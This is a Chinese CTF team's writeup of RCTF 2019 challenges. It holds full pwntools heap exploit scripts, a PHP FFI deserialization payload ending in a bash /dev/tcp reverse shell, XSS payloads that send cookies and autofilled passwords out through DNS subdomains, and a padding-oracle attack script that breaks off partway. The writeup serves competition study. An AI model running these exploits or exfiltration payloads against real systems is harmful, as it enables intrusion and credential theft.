Kap0k RCTF2019 Writeup
C0mRaDe CTF 13412浏览 · 2019-05-21 00:42

Kap0k-Note: RCTF-2019 Writeup

RCTF-2019: Kap0k排名第六
我们misc贼强

pwn

babyheap

类似 2019-starctf 的heap_master, 但这里并不改dl_open_hook, 而是改_free_hook

解题

  1. edit的时候off by one
  2. 使用seccomp-tools dump babyheap 可以看到关闭了execve系统调用, 只能使用open, read, write三个系统调用读出flag
line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x00000029  if (A != socket) goto 0006
 0005: 0x06 0x00 0x00 0x00000000  return KILL
 0006: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0008
 0007: 0x06 0x00 0x00 0x00000000  return KILL
 0008: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0010
 0009: 0x06 0x00 0x00 0x00000000  return KILL
 0010: 0x15 0x00 0x01 0x0000009d  if (A != prctl) goto 0012
 0011: 0x06 0x00 0x00 0x00000000  return KILL
 0012: 0x15 0x00 0x01 0x0000003a  if (A != vfork) goto 0014
 0013: 0x06 0x00 0x00 0x00000000  return KILL
 0014: 0x15 0x00 0x01 0x00000065  if (A != ptrace) goto 0016
 0015: 0x06 0x00 0x00 0x00000000  return KILL
 0016: 0x15 0x00 0x01 0x0000003e  if (A != kill) goto 0018
 0017: 0x06 0x00 0x00 0x00000000  return KILL
 0018: 0x15 0x00 0x01 0x00000038  if (A != clone) goto 0020
 0019: 0x06 0x00 0x00 0x00000000  return KILL
 0020: 0x06 0x00 0x00 0x7fff0000  return ALLOW

利用过程

  • leak heap, leak libc
  • 写rop, shellcode到heap
  • largebin attack & unsortbin attack直接在libc上的free_hook分配chunk
  • 栈转移到heap上
  • 执行rop
  • 执行shellcode

exp

# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
binary = './babyheap'
llibc = '/lib/x86_64-linux-gnu/libc.so.6' # /lib/i386-linux-gnu/libc.so.6
elf = ELF(binary, checksec = 0)
libc = ELF(llibc, checksec = 0)
ip="139.180.215.222"
port= 20001
# r = process(binary, aslr = 1)
sd = lambda x : r.send(x)
sl = lambda x : r.sendline(x)
rv = lambda x = 2048 : r.recv(x)
ru = lambda x : r.recvuntil(x)
rl = lambda : r.recvline()
ia = lambda : r.interactive()
ra = lambda : r.recvall()

def add(size):
    ru("Choice:")
    sl("1")
    ru("Size")
    sl(str(size))

def edit(idx,con):
    ru("Choice:")
    sl("2")
    ru("Index:")
    sl(str(idx))
    ru("Content:")
    sd(con)    

def show(idx):
    ru("Choice:")
    sl("4")
    ru("Index:")
    sl(str(idx))

def free(idx):
    ru("Choice:")
    sl("3")
    ru("Index:")
    sl(str(idx))

def exp():
    add(0x78) #0
    add(0x38)#1 用1来控制largin的大小
    add(0x420)#2
    add(0x30)#3 +0x4f0
    add(0x60)#4
    add(0x20)#5

    add(0x88) #6
    add(0x48)#7 con
    add(0x420)#8
    add(0x20)#9

    add(0x100)#10 用来写gadget的结构
    add(0x400)#11 用来写rop链和shellcode
    # gdb.attach(r)
    free(0)
    edit(2,0x3f0*'a'+p64(0x100)+p64(0x31))
    edit(1,'a'*0x30+p64(0x80+0x40)) # off
    free(2)
    add(0x78)#0
    show(1)
    libc.address=u64(rl()[1:-1].ljust(8,'\x00'))-3951480
    success("libcbase: "+hex(libc.address))

    add(0x30)#2==1
    free(4)
    free(2)
    show(1)
    heapbase=u64(rl()[1:-1].ljust(8,'\x00'))-528-0x300-0x20
    success("heapbase: "+hex(heapbase))
    add(0x50)#2 进入large

    free(6)
    edit(8,0x3f0*'a'+p64(0x100)+p64(0x31))
    edit(7,'a'*0x40+p64(0x90+0x50)) # off
    free(8)

    add(0x430)#4==1
    add(0x88) #6
    add(0x440)#8==7
    #large attack & unsotbin attack
    free(4)
    free(8)
    add(0x440)#4
    free(4)
    edit(7,p64(0)+p64(libc.sym['__free_hook']-0x20))
    edit(1,p64(0)+p64(libc.sym['__free_hook']-0x20+8)+p64(0)+p64(libc.sym['__free_hook']-0x20-0x18-5))
    add(0x48) #4- __free_hook


    edit(4,'a'*16+p64(libc.address+0x0000000000047b75)) #写__free_hook 为 0x0000000000047b75 : mov rsp, qword ptr [rdi + 0xa0] ...
    # rsp 控制到heapbase+0x10+3104的位置 idx11


    # 0x0000000000021102 : pop rdi ; ret
    rop=p64(0x0000000000021102+libc.address)+p64(heapbase)
    # 0x00000000001150c9 : pop rdx ; pop rsi ; ret
    rop+=p64(0x00000000001150c9+libc.address)+p64(7)+p64(0x2000)+p64(libc.sym['mprotect'])
    rop+=p64(heapbase+0x48+3104)
    code = """
            xor rsi,rsi
            mov rax,SYS_open
            call here
            .string "./flag"
            here:
            pop rdi
            syscall
            mov rdi,rax
            mov rsi,rsp
            mov rdx,0x100
            mov rax,SYS_read
            syscall
            mov rdi,1
            mov rsi,rsp
            mov rdx,0x100
            mov rax,SYS_write
            syscall
            mov rax,SYS_exit
            syscall
        """
    shellcode = asm(code,arch="amd64")
    rop+=shellcode
    edit(11,rop)
    edit(10,flat({0xa0:p64(heapbase+0x10+3104),0xa8:p64(0x0000000000209B5+libc.address)}))
    # 触发
    # gdb.attach(r,"awatch __free_hook\nc\n")
    free(10)
    ia()

while 1:
    try:
        r = remote(ip,port)
        exp()
    except:
        r.close()
        pass

shellcoder

爆破之(虽然主办方说不需要爆破)

解题思路

只能orw

  1. 一开始只能输入7个byte的shellcode, 需要使用7bytes构造一个系统调用. 这里需要知道的是有一条汇编指令: xchg, 可以交换两个64位寄存器的值, xchg rdi,rsi
  2. 有了read系统调用, 就可以执行orw了.
  3. 由于不知道flag的目录, 执行系统调用sys_getdents, 实现一个类似 ls 的功能
  4. 爆破除flag的目录

参考

https://cloud.tencent.com/developer/article/1143454

exp

#!/usr/bin/env python
from pwn import *


context(arch='amd64',os='linux')
# context.log_level='debug'
# 


def exp(dirname):
    child_dir=[]
    # p=process('./shellcoder')
    p=remote('139.180.215.222',20002)
    # gdb.attach(p,'nb 4c7')
    p.recvuntil('hello shellcoder:')
    shellcode='\x48\x87\xf7'         #chg rdi, rsi 
    shellcode+='\xb2\x80'          # mov dl,0x80     
    shellcode+='\x0f\x05'          # syscall
    p.send(shellcode)
    # open_code=shellcraft.open('flag/n9bp/1maz/flag')
    # open_code=shellcraft.open('./flag/n0qf/y1ka/fl8q')
    # read_code='xor rax,rax;mov rdi,3;push rsp;pop rsi;mov rdx,100;syscall'
    # write_code='mov rax,1;mov rdi,1;push rsp;pop rsi;mov rdx,100;syscall'
    # shellcode='\x90'*0x7+asm(open_code)+asm(read_code)+asm(write_code)
    open_code=shellcraft.open(dirname)
    getdents_code='mov rax,78;mov rdi,3;mov rsi,rsp;mov rdx,200;syscall'
    write_code='mov rax,1;mov rdi,1;push rsp;pop rsi;mov rdx,200;syscall'
    shellcode='\x90'*0x7+asm(open_code)+asm(getdents_code)+asm(write_code)


    p.send(shellcode+'\n')
    result=[]
    def parse1():
        sleep(1)
        line=p.recv()
        d=0             # line[i] ptr
        while(d<400):
            for j in range(len(line[d+18:])):
                chr_num=ord(line[d+18+j])
                if chr_num<0x20 or chr_num>0x7e:
                    child_dir.append(line[d+18:d+18+j])
                    break
            clen=u16(line[d+16:d+18])
            d+=clen
            if(clen==0):
                break
        for i in range(len(child_dir)):
            if child_dir[i]!='' and child_dir[i]!='.' and child_dir[i]!='..':
                result.append(dirname+'/'+child_dir[i])
    parse1()
    return result


def judge(line):
    for i in range(len(line)):
        if 'flag' in (line[i])[6:]:
            print(line[i])
            pause()


fdir=['./flag']
child_dir=[]
level=0
while(1):
    for i in range(len(fdir)):
        child_dir+=exp(fdir[i])
    judge(child_dir)
    fp=open('./dir{}'.format(level),'w')
    # for i in range(len(child_dir)):
        # fp.write(child_dir[i]+'\n')
    # fp.close()
    print(child_dir)
    fdir=[]
    fdir+=child_dir
    child_dir=[]

many_note

漏洞点

输入content的时候有个堆溢出

利用过程

many_note有两种做法, 这篇wp里使用的是第一种
1.改tcachebin
2.house of Orange
第一种:
当不断malloc的时候, topchun大小小于请求大小时, 会把top_chunk free掉, 并且把arena里面top指针改到前面去, 会在tcache_bin(用来管理tcache的一个chunk, 大小为0x250.)前面
然后把topchunk大小改大, 然后不断malloc, 会malloc到tcachebin区域, 这时malloc出来, 写一个malloc_hook的地址到tcache_bin里, 然后tcache_dup, 写onegadget到malloc_hook即可

exp

#!/usr/bin/env python
#coding:utf-8


from pwn import *
import os,sys,time


libpath="./libc.so.6"
libcpath='/lib/x86_64-linux-gnu/libc.so.6'
libc=ELF(libpath)
p=process(['./many_notes'])
p=process(['./ld-linux-x86-64.so.2','--library-path','/mnt/hgfs/F/workflow/rctf2019/pwn-manynotes','./many_notes'])


if len(sys.argv)==3:
    p=remote("139.180.144.86",20003)

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x,drop=True)
rl = lambda   : p.recvline()
rv = lambda x : p.recv(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)


def menu(op):
    sla('Choice:',str(op))


def add(size,padding,data=[]):
    menu(0)
    sla('Size:',str(size))
    sla('Padding:',str(padding))
    if(len(data)==0):
        sla('(0/1):',str(0))
    else:
        sla('(0/1):',str(1))
        ru('Content:')
        for i in data:
            sn(i)
            time.sleep(0.1)


if len(sys.argv)==2:
    gdb.attach(p)




sa('name:','a'*0x8)
time.sleep(0.1)


ru('to Many Notes, ')
rv(0x8)
leak=u64(rv(6).ljust(8,'\x00'))


io_stdout=leak
libc.address=libcbase=io_stdout-libc.symbols['_IO_2_1_stdout_']
__malloc_hook_addr=libc.symbols['__malloc_hook']
print '[leak]',hex(leak)
print '[libcbase]',hex(libcbase)
print '[__malloc_hook_addr]',hex(__malloc_hook_addr)




for i in range(0x7):
    add(0x2000,1024)
add(0x2000,0x3e8)
add(0x5d0,0)


for i in range(0xf):
    add(0x2000,1024)




add(0x2000,0x3d0-1)


payload1='a'*0x10
payload2='a'*0x10+p64(0x0)+p64(0x30b1)
add(0x20,0,[payload1,payload2])


add(0x1000-0x6a0,0)


payload=p64(0x1010101010101)*2
payload+=p64(__malloc_hook_addr-0x23)*10
payload=payload.ljust(0x240,'\x00')
add(0x240,0,[payload])


onegadget = 0x40e86+ libcbase
onegadget = 0x40eda+ libcbase
onegadget = 0xdea81+ libcbase


payload='a'*3
payload+=p64(onegadget)*5
payload=payload.ljust(0x68,'\x00')
add(0x68,0,[payload])

menu(0)
sla('Size:','104')


raw_input('interactive ....\n')
p.interactive()

web

nextphp

这题考PHP7.4的特性,非常紧跟潮流。直接给了个eval

看一下phpinfo,一堆disable_functions

很明显绕不过去,再看open_basedir

还注意到有一个opcache.preload

preload.php:

<?php
final class A implements Serializable {
    protected $data = [
        'ret' => null,
        'func' => 'print_r',
        'arg' => '1'
    ];

    private function run () {
        $this->data['ret'] = $this->data['func']($this->data['arg']);
    }

    public function __serialize(): array {
        return $this->data;
    }

    public function __unserialize(array $data) {
        array_merge($this->data, $data);
        $this->run();
    }

    public function serialize (): string {
        return serialize($this->data);
    }

    public function unserialize($payload) {
        $this->data = unserialize($payload);
        $this->run();
    }

    public function __get ($key) {
        return $this->data[$key];
    }

    public function __set ($key, $value) {
        throw new \Exception('No implemented');
    }

    public function __construct () {
        throw new \Exception('No implemented');
    }
}

代码很工整,实现了一个自定义的序列化,反序列化的时候会调用unserialize函数,这里的unserialize函数功能是改变$data数组元素的值,然后实现可变函数的效果。然后主要到这篇文章去查看php7.4的特性,关于opcache.preload,可以看RFC

很好理解,就是选定一个文件来preload。
还用到了Foreign Function Interface这个点.到RFCcdef:

用法:

然后,我们需要利用preload.php的可变函数来尝试导入c函数并执行,为什么要利用预加载的preload.php,不能直接搞呢,因为这个

http://nextphp.2019.rctf.rois.io/?a=var_dump(unserialize(%27C:1:%22A%22:97:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:34:%22const%20char%20*%20getenv(const%20char%20*);%22;}}%27)-%3Eret-%3Egetenv(%27PATH%27));

导入getenv

同理导入system,反弹shell即可

nextphp.2019.rctf.rois.io/?a=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("bash -c '/bin/bash -i >%26 /dev/tcp/{{ip}}/{{[port}} 0>%261'"));

jail

xss题,可以向一个页面写内容,然后把页面的id提交给admin,让它去访问。

avatar的地方可以上传文件,试了一下,没啥好利用的点。
cookie中有两个hint

目的就是要打到admin的cookie。

Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';

firefox下用这个payload就能x到:<img src=1 onerror="location.href='http://xxxxx/?'+document.cookie">
但是chrome不行

提交了一下,没有打到,bot应该是chrome。我们知道跳转可以无视一切csp,但是这里跳转不了,因为页面上有一段预置的js

document.location给freeze了,而freeze是不能解掉的

后面尝试了用a标签和另外的一些方法,本地是可以跳转的,但是bot不跳呀,因此另寻骚操作。
之前没见过freeze location这个操作,因此研究了一下location

尝试修改了几个属性,href固然是改不了,但是发现host和hostname属性都是可以改的,而且可以达到一个跳转的效果。这里可以用子域名带出信息,查看DNS query记录即可,payload:

<script>
function stringToHex(str){
    var val="";
    for(var i = 0; i < str.length; i++){
      if(val == "")
        val = str.charCodeAt(i).toString(16);
      else
        val += str.charCodeAt(i).toString(16);
    }
    return val;
  }
location.hostname=stringToHex(document.cookie).substr(0,60)+".g3r5vi.ceye.io"</script>

password

这题用的是jail的同一个环境,题目和hint给的信息都非常关键

提取出几个要点:

1.要x的是密码
2.并不是chrome自带的保存密码功能
3.try to read body.innerHTML

这里可以大致猜出一些东西了,要x密码,而且不是chrome自带的密码管理,结合hint,想到会不会是给他插入一段html,然后会给我自动填充密码,我再把密码整出来?于是尝试加一段html到payload里,由于是要x密码,所以自然想到整个表单上去,login那里就有一个现成的表单

一开始是想,延时一段时间(给点时间给密码管理器自动填写),然后把password的value搞出来,但是啥都打不到。于是还是跟着hint走吧,读一下innerHTML,这一步的payload:

<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
    var val="";
    for(var i = 0; i < str.length; i++){
      if(val == "")
        val = str.charCodeAt(i).toString(16);
      else
        val += str.charCodeAt(i).toString(16);
    }
    return val;
  }
setTimeout(function () {
   location.hostname=stringToHex(btoa(document.body.innerHTML)).substr(1800,60)+".g3r5vi.ceye.io";
  }, 1000);
</script>

一点点拿到完整的页面内容,发现果然有something interesting

加了个data-cip-id的属性,但是我的payload并没有这东西。查了一下,这里用的应该是ChromeIPass+Keepass这一套,本地装一下,直接拿登录页面来做一下实验。首先点击一下username的框,然后就会有候选密码(前提是已经有存密码)

再右键选中看属性,发现这几个选项都是cip-ui-menu-item这个class的,因此可以用document.getElementsByClassName('cip-ui-menu-item')[?]来定位他们。这里必须要点一下username的框,才会有这几个选项出现,选项出现之后,选一个来点,password的框就会被自动填充。所以我们的payload就已经出来了:

<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
    var val="";
    for(var i = 0; i < str.length; i++){
      if(val == "")
        val = str.charCodeAt(i).toString(16);
      else
        val += str.charCodeAt(i).toString(16);
    }
    return val;
  }
setTimeout(function () {
  document.getElementsByName('username')[0].click();
  document.getElementsByClassName('cip-ui-menu-item')[1].click();
   location.hostname=stringToHex(btoa(document.getElementsByName('password')[0].value)).substr(0,60)+".g3r5vi.ceye.io";
  }, 3000);
</script>

0号是假flag

1号是真flag

misc

draw

logo语言, 找个在线编译器丢进去

jslogo

白给, 不过需要注意一下flag格式

flag: RCTF_HeyLogo

disk

题目信息

附件中的文件

解题

misc看到文件先丢到 010Editor 看一下

ctrl+f 搜一下flag, ctf这些, 还真的搜到了

拿出来是这样

rctf{unseCure_quick_form4t_vo1ume

老实说一开始看到还没啥感觉...以为只是混淆的内容, 后面才突然想起来的

然后尝试VeraCrypt加载, 发现加载失败

看了文件格式, 拿去vmware也加载失败

队友说用7z打开解压一下, 可以看到这个东西, 拿出来就可以加载了

挂载后可以看到一张图片和一个txt

有另一个密码, 应该就是隐藏卷了

加载隐藏卷, 发现打不开, 提示是Raw格式

linux下也不能加载

用DiskGenius直接读磁盘

果然看到了后半段, 拼起来即可

rctf{unseCure_quick_form4t_vo1ume_and_corrupted_1nner_v0lume}

printer

题目信息

附件

解题

这个是一个wireshark的文件, 用wireshark打开, 看到一些数据, 按长度排序, 有个特别大

看他的数据内容, 底部有很多BAR的数据

直接搜一下可以发现是个标签打印机的数据

标签打印机抓包数据解析

文章里面有些图片看不清, 但是提到了一个pdf文档, 把它下载下来可以看到那些图片的内容

下面是bar命令的参数信息

那根据这个信息, 可以用python画个图

把数据从wireshark里面复制出来, 小处理一下

# python = 3.7
from PIL import Image

with open("printer.txt", "r") as f:
    txt = f.readlines()
    txt = [i.strip().split(",") for i in txt]
    pic=Image.new('RGB',(2000,2000),'black')
    pix=pic.load()


    for i in txt:
        temp = Image.new('RGB', (int(i[2]), int(i[3])), 'white')
        pic.paste(temp, (int(i[0]), int(i[1])))
    pic.show()
'''
348,439,2,96
292,535,56,2
.....
.....
152,351,16,2
152,351,2,16
'''

PIL画图大法好, 可以看到结果

看起来还少了点东西, 再看文章里面还有个Bitmap

果然数据中有这个东西

26 * 48 = 1248, 因此应该有1248个两位的16进制数(8个bit)

取出这些16进制数, 小处理一下(notepad++的处理挺方便的), 然后继续上python

def pic2():
    with open("printer2.txt") as f:
        txt = f.read().split()
        pic = Image.new('RGB', (800, 800), 'black')
        pix = pic.load()
        for i in range(48):
            for j in range(26):
                x = ("{:08b}".format(int(txt[i * 26 + j], 16)))
                for k in range(8):
                    if x[k] == '1':
                        pix[i, j * 8 + k] = (255, 255, 255)
        pic.save('printer2.png')
'''
ff ff ff ff ff ff ff ff ff ff ff ff ff
.....
.....
ff ff ff
'''

得到的图片是镜像, 转一下

拼起来就是flag了

flag{my_tsc_hc3pnikdk}

watermark

  1. 阅读HTML,发现它首先调用JS把flag编码成了一个有着841个Bool的Array,对于所有class为watermark的div,它会在更改每个字符的颜色之后塞进一个SVG,替换掉div中的文本。对于英文字母,RGB是从Array中依序拿出的三个Bool值(a, b, c),其中a, b, c为0或1;对于其它字符,RGB是(0, 0, 0)。
    2.接下来把JS反混淆,通过观察生成Array的大小(841 = 29^2)、Google搜索脚本中的字符串常量,发现这是一个编码二维码的脚本。执行:
arr = A.B.E(A.C.D("RCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxx}")).F();
s = "";
for (var i = 0; i < 841; i++) {
  s += arr[i] ? "1" : "0"; 
  if ((i + 1) % 29 == 0) {
    s += "\n"
  }
}

可以发现题中对flag的编码实质上就是转为二维码后依序返回每个色块的颜色。

  1. 题目中给出了两个bmp,获取到所有英文字母的RGB值后即可生成二维码获得flag。要获得所有英文字母的RGB值,就要先获得所有字符的位置和内容。方便起见,修改HTML中的JS,使它把spans直接放进div中;并进行一些微调(font-family、font-size、weight、
    ),使得页面看起来和bmp里一样。

let parent = dom.parentElement
var div = document.createElement('div')
//var p = document.createElement('p')
//p.appendChild(img)
div.innerHTML = html
parent.appendChild(div)
dom.remove()

  1. 执行脚本获取第一个标题下的所有字母的内容和位置信息(在题目更新后,去掉了step,使得所需的信息数量变少了;否则,需要再重复两次这些操作以获得更多RGB信息)。
list = document.getElementsByTagName('span');
for (var i = 0; i <= 2068; i++) { 
    if ('a'<=list[i].innerText && list[i].innerText <= 'z' || 'A'<=list[i].innerText && list[i].innerText <= 'Z') { 
        info = list[i].getBoundingClientRect(); 
        arr.push([list[i].innerText, info.top, info.left, info.bottom, info.right])
    }
}

JSON.stringify(arr)
5.使用画图打开1.bmp,对比第一个span的位置,得出从网页中获取到的位置与图中文字位置的位置偏移,并编写脚本。

import json

f = open('p1.json')
r = f.read()
f.close()

arr = json.loads(r)

y_off = -85
x_off = -238
mp = 1
y_begin = 85
x_begin = 88

from PIL import Image
img = Image.open("1.bmp")

f = open("bin", "w")
cnt = 0
h = img.height

for e in arr:
    img2 = img.crop((int(x_off + x_begin + e[2]), int(y_off + y_begin + e[1]), int(x_off + x_begin + e[4]), int(y_off + y_begin + e[3])))
    img2.save("test.bmp")
    img_array = img2.load()
    rec = (0, 0, 0)
    flag = False
    for x in range(img2.size[0]):
        for y in range(img2.size[1]):
            if img_array[x, y][0] <= 1 and img_array[x, y][1] <= 1 and img_array[x, y][2] <= 1:
                rec = (img_array[x, y][0], img_array[x, y][1], img_array[x, y][2])
                flag = True
    if flag:
        cnt += 1
    f.write(str(rec[0]) + str(rec[1]) + str(rec[2]))

f.close()

print("hit:", cnt)
print("total:", len(arr))
  1. 执行脚本,在执行过程中可以看到test.bmp的变化,确定它截取的字符位置正确。
  2. 从拿到的RGB值生成二维码。由于有些字符(i、l、I等)体积较小,携带的RGB信息可能丢失,所以生成了四个,并取or。(会有1没有被读出来,但一般不会有0被读成1)
import zxing
from PIL import Image
black = Image.new('RGB', (10, 10), (0, 0, 0))
white = Image.new('RGB', (10, 10), (255, 255, 255))

f = open("bin")
arr = f.read()
f.close()

reader = zxing.BarCodeReader()

real = ['0'] * 841

def gen(n):
    num = 0
    for i in range(0, 29):
        for j in range(0, 29):
            if arr[n + i * 29 + j] == '1':
                real[i * 29 + j] = '1'

def run(n):
    num = 0
    result = Image.new('RGB', (290, 290), (255, 255, 255))
    for i in range(0, 29):
        for j in range(0, 29):
            if real[n + i * 29 + j] == '1':
                result.paste(black, (i * 10, j * 10))
            else:
                result.paste(white, (i * 10, j * 10))
    result.save('qrcode.png')


for i in range(0, 841*4, 841): 
    gen(i)

run(0)
print(reader.decode("qrcode.png"))

8.执行脚本,得到flag(和二维码):

RCTF{c4ca4238a0b923820dcc509a6275849b}

Crypto

baby_crypto

题目会让我们先输入username和password,其中username和password都只能是5到10位的纯小写字母,然后题目会生成一个cookie

"admin:0;username:aaaaa;password:aaaaa"

并将它用aes-cbc进行加密,然后再将该密文前面拼接上16位的salt之后进行sha1,最后把iv+密文+sha1结果作为data返回给我们

接下来我们可以发送data过去,服务器会进行aes-cbc解密并校验传过去的sha1是不是和我们传过去的cookie符合,然后再捕捉cookie中的admin,如果是1则输出flag,如果是0则退出程序

需要注意的是如果我们传过去的数据有误,会返回错误信息并继续接收data直到服务器可以解密我们传过去的cookie并且sha1校验的信息正确

这道题的要点有两个:

  1. 如何通过sha1校验
  2. 如何伪造cookie使得admin为1

对于要点1来说,可以参考去年RCTF的cpushop的题,用hash长度拓展攻击就可以,我们可以拓展出来';admin:1'这样的信息附加到原來的cookie末尾,这样服务器校验的时候便会通过。我们可以用'hashpumpy'这个python包来进行长度拓展攻击。

需要注意的是,服务器返回的data中的cookie的加密数据的长度为96个十六进制数,我们使用长度拓展攻击之后长度会变为128个十六进制数,所以需要先将data中的cookie的加密数据再附加32个十六进制数

对于要点2来说,aes-cbc模式可以用'Padding Oracle Attack'结合'CBC字节反转攻击'来伪造加密之后的密文。我们可以先用Padding Oracle Attack获取cookie解密之后的最后16位的明文,然后用CBC字节反转攻击修改密文使其解密之后的明文变为hash长度拓展攻击生成的明文。这样重复4次就可以修改所有的密文解密之后的明文变为我们想要的明文

最终我们就可以通过这个思路传过去伪造的data得到flag:RCTF{f2c519ea-567b-41d1-9db8-033f058b4e3e}

解题脚本:

HOST = "111.231.100.117"
PORT = 20000

import urllib
from pwn import *
import hashpumpy
from cryptography.hazmat.primitives import padding

def pad(s):
    padder = padding.PKCS7(128).padder()
    return padder.update(s) + padder.finalize()

def Padding_Oracle_Attack(last,last2,rest):
    last2 = last2.decode('hex')
    c_final = ""
    m = ""
    for x in xrange(1, 17):
        for y in xrange(0, 256):
            IV = "\x00" * (16 - x) + chr(y) + "".join(chr(ord(i) ^ x) for i in c_final)

            r = rest+IV.encode('hex')+last+hash
            rv(4096)
            sl(r)
            result = rl()
            if "Invalid padding" not in result:
                c_final = chr(y ^ x) + c_final
                print "[+]Get: " + urllib.quote(c_final)
                break
            if y == 255:
                print "[!]Error!"
                exit(1)

    print "[+]Result: " + c_final
    for x in xrange(16):
        m += chr(ord(c_final[x]) ^ ord(last2[x]))
    return m,c_final

p = remote(HOST, PORT) 
ru = lambda x : p.recvuntil(x)
rl = lambda  : p.recvline()
rv = lambda x : p.recv(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

rv(4096)
sl('aaaaa')
rv(4096)
sl('aaaaa')
rl()
cookie = rl().strip('\n')
print cookie

cookie_len=len(cookie)
hash_len = 40
iv_len=32

iv = cookie[:iv_len]
enc_cookie = cookie[iv_len:-hash_len]
hash = cookie[-hash_len:]

print iv
print enc_cookie
print hash
append_data = ";admin:1"
# 37 -> 48 -> 96
old_plain = "admin:0;username:aaaaa;password:aaaaa"
# 56 -> 64 -> 128
data = hashpumpy.hashpump(hash,old_plain,append_data,16)
new_hash = data[0]
new_data = data[1]
new_data = pad(new_data)
print new_data.encode('hex').decode('hex')
print len(new_data)

# pad enc_cookie to 128
enc_cookie = enc_cookie + enc_cookie[32:64]
assert(len(enc_cookie)==128)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = enc_cookie[:-64]

last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-16:]
temp_block = ""
for i in range(16):
    temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))

last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
    new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))

res = ''
for i in range(16):
    res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 4 Complete!"
print res
print res.encode('hex')

new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
    new_last2_enc_block = '0'+new_last2_enc_block
payload =  last_enc_block
print "[+]Round 4 payload:"
print payload
print len(payload)

# chunk 4 is complete
# start Round 3
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==96)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = enc_cookie[:-64]

last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-32:-16]
temp_block = ""
for i in range(16):
    temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))

last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
    new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))

res = ''
for i in range(16):
    res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 3 Complete!"
print res
print res.encode('hex')

new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
    new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 3 payload:"
print payload
print len(payload)

# chunk 3 is complete
# start Round 2
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==64)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = ""

last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-48:-32]
temp_block = ""
for i in range(16):
    temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))

last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
    new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))

res = ''
for i in range(16):
    res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 2 Complete!"
print res
print res.encode('hex')

new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
    new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 2 payload:"
print payload
print len(payload)

# chunk 2 is complete
# start Round 1
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==32)
last_enc_block = enc_cookie[-32:]
last2_enc_block = iv
rest_enc_block = ""

